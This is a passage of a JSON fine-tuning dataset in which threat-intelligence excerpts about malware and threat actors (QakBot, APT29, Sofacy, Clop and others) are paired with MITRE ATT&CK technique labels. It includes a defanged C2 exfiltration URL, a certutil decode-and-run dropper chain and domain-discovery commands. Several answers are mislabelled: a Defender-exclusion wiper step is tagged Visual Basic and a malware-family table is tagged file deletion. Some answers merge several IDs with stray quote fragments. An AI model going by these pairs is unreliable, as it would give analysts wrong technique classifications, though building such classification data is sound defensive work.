                "content": "Appendix Malware Family Descriptions    Malware Family  Description  Availability    DROPSHOT  Dropper that has been observed dropping and launching the TURNEDUP backdoor, as well as the SHAPESHIFT wiper malware  Non-Public    NANOCORE  Publicly available remote access Trojan (RAT) available for purchase"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QUADAGENT was likely obfuscated using Invoke-Obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used credential dumping tools."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to create the Registry key name \"EstsoftAutoUpdate\" at \"HKCU\\Software\\Microsoft/Windows\\CurrentVersion\\RunOnce\" to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork used Visual Basic Scripts (VBS) on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The final payload created by the aforementioned process is a well known backdoor, also known as ROKRAT by Cisco Talos. One of its main functions is to steal information. Upon execution, this malware creates 10 random directory paths and uses them for a specially designated purpose"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has replayed stolen session token and passwords to trigger simple-approval MFA prompts in hope of the legitimate user will grant necessary approval."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control (C&amp;C) location. The Seedworm group is the only group known to use the Powermud backdoor"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 11: PowerShell script is XOR encoded using a single byte key After deobfuscating the contents of the PowerShell Script, we can divide it into three sections"
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The starred commands are undocumented commands"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CostaRicto employed nmap and pscan to scan target environments."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware attempts to connect to Windows shares for lateral movement by using a generated list of usernames, which center around permutations of the username Administrator, and weak passwords."
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avenger has the ability to use HTTP in communication with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can be used to schedule a task on a system."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used WMI to steal credentials and execute backdoors at a future time. They have also used WMI for the remote execution of files for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To start, the implant looks for the AHNLAB V3 Antivirus software's class name \"49B46336-BA4D-4905-9824-D282F05F6576\". If the software is found, the implant will hide the AV software window from the view of the infected user"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window', 'T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SpicyOmelette has been signed with valid digital certificates."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HOPLIGHT has been observed loading several APIs associated with Pass the Hash."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERSTATS has detected security tools."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT41 exploited CVE-2020-10189 against Zoho ManageEngine Desktop Central, and CVE-2019-19781 to compromise Citrix Application Delivery Controllers (ADC) and gateway devices."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "They renamed their files to make them look like legitimate files, for example, trilog.exe, named after a legitimate Schneider Electric application"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS has used \"-WindowsStyle Hidden\" to hide the command window."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer used several tools for retrieving login and password information, including LaZagne."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1555 - Credentials from Password Stores', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Starting with a simple scan, the first information that the malware can collect is related to files with the following extensions: .docx, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .bmp, .tiff. For each file found on the disk, it retrieves the full path and the last modified date of the file. That information is encrypted using the AES key mentioned earlier and stored in the file 0.txt. Another scan targets the extensions .dat, .json, .db and like the previous scan it retrieves the full path and last modified date of the file. Then it encrypts them and it stores it under the file 57.txt"
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In its new attack, the actor initiated the infection chain sending a spear-phishing email containing a macro-embedded Word document."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SombRAT has encrypted its C2 communications with AES."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The two main changes are the obfuscation and the network protocol to communicate to the C2 server. The developers used two different obfuscation algorithms: one for the C2 encoding and one for the data. The C2 encoding is a simple XOR (as in 2012): The C2 encoding communication is also different. As the data are now sent with the GET method, the data must be in ASCII. That's they add base64 encoding in order to get supported characters in the HTTP query. For the first time, the developer switched from POST requests to GET requests: The exfiltrated data is appended to the URL. Here is the pattern: hxxp://C2_domain/MalwareIDVictimIPThirdIDExfiltratedDataBase64 SHA256:37d1bd82527d50df3246f12b931c69c2b9e978b593a64e89d16bfe0eb54645b0 C2 URL:hxxp://www[.]amanser951[.]otzo[.]com/uiho0.0.0.0edrftg.txt"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ifconfig can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QakBot has collected usernames and passwords from Firefox and Chrome."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As we can see, the flow is obfuscated. But in Pony this technique is used in more sophisticated way because there are some junk instructions added between the PUSH and the RET in addition to a never executed bogus conditional jump"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RemoteCMD: This tool executes commands on remote computers, similar to the PsExec tool"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clop can encrypt files using AES, RSA, and RC4 and will add the \".clop\" extension to encrypted files."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore uses the \"mktemp\" utility to make unique file and directory names for payloads, such as \"TMP_DIR=`mktemp -d -t x\"."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses public sites such as github.com and sendspace.com to upload files and then download them to victim computers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cachedump can extract cached password hashes from cache entry information."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mivast has the capability to gather NTLM password information."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EXOTIC LILY has gathered targeted individuals' e-mail addresses through open source research and website contact forms."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used RDP connections to move across the victim network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has the ability to use the Linux API function `utime` to change the timestamps of modified firmware update images."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rising Sun used dynamic API resolutions to various Windows APIs by leveraging `LoadLibrary()` and `GetProcAddress()`."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RTM has the ability to remove Registry entries that it created during execution."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can download files from its C2 server to the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Internal Reconnaissance APT40 uses compromised credentials to log on to other connected systems and conduct reconnaissance"
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The script modifies Windows Defender settings to exclude the target logical drive it is going to wipe from scheduled and real-time scanning"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has used BITSAdmin to download additional tools."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The macro prepends the string -----BEGIN CERTIFICATE----- to the beginning of the base64 encoded payload and appends -----END CERTIFICATE----- to the end of the data. The macro then writes this data to a text file in the C:\\Programdata folder using a random filename with the .txt extension. The macro then uses the command certutil -decode to decode the contents of this text file and outputs the decoded content to a randomly named file with a .exe extension in the C:\\Programdata folder. The macro sleeps for two seconds and then executes the newly dropped executable. Open-source Delivery Document Generator It appears that Sofacy may have used an open-source tool called Luckystrike to generate the delivery document and/or the macro used in this attack. Luckystrike, which was presented at DerbyCon 6 in September 2016, is a Microsoft PowerShell-based tool that generates malicious delivery documents by allowing a user to add a macro to an Excel or Word document to execute an embedded payload. We believe Sofacy used this tool, as the macro within their delivery document closely resembles the macros found within Luckystrike. To confirm our suspicions, we generated a malicious Excel file with Luckystrike and compared its macro to the macro found within Sofacy's delivery document. We found that there was only one difference between the macros besides the random function name and random cell values that the Luckystrike tool generates for each created payload"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Examining the use of the unique user agents’ strings over time shows that while previously only the Mozilla/5.0 user agent was in use, since mid 2017 all three user agent strings have been used by the Zebrocy tool for its C2 communications"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor has used ICMP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackTech has used spearphishing e-mails with links to cloud services to deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware gathers passwords from multiple sources, including Windows Credential Vault, Internet Explorer, Firefox, Chrome, and Outlook."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leviathan has targeted RDP credentials and used it to move through the victim environment."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has encrypted C2 traffic with RC4, previously using keys of 88888888 and babybear."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkVishnya used network sniffing to obtain login data."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Vulnerabilities such as ProxyShell (CVE-2021-34473) and improper SQL sanitization (CVE-2021-20028) have been observed being utilized as footholds into the environment."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities', 'T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following code example shows the false flag being set (5 > 115) and the ETransaksi.diomadnfagaghagh method being called:  int num = 5; int num2 = 155; bool flag = num > num2; if (flag) {     <legitimate Sales System Application code>     }            else {     NewLateBinding.LateCall(ETransaksi.diomadnfagaghagh(), null, \"Invoke\", new object[]     {         null,         new object[0]     }, null, null, null, true);The payload uses this technique to run a chain of methods that eventually carry out its malicious task"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ajax Security Team has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ember Bear has added extra spaces between JavaScript code characters to increase the overall file size."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Delivery TG-3390 conducts SWCs or sends spearphishing emails with ZIP archive attachments"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cardinal RAT decodes many of its artifacts and is decrypted (AES-128) after being downloaded."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can search for different processes on a system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SysUpdate has the ability to download files to a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa can collect information about a compromised computer, including: Hardware UUID, Mac serial number, macOS version, and disk sizes."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Ritsol backdoor trojan used by  can download files onto a compromised host from a remote location."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains a collection of Privesc-PowerUp modules that can query Registry keys for potential opportunities."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "compromised user credentials and used valid accounts for operations."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has checked for the local admin group domain admin group and Exchange Trusted Subsystem groups using the commands net group Exchange Trusted Subsystem /domain and net group domain admins /domain."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DCSync/NetSync."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 registered domains imitating NATO, OSCE security websites, Caucasus information resources, and other organizations."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "XTunnel is capable of downloading additional files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
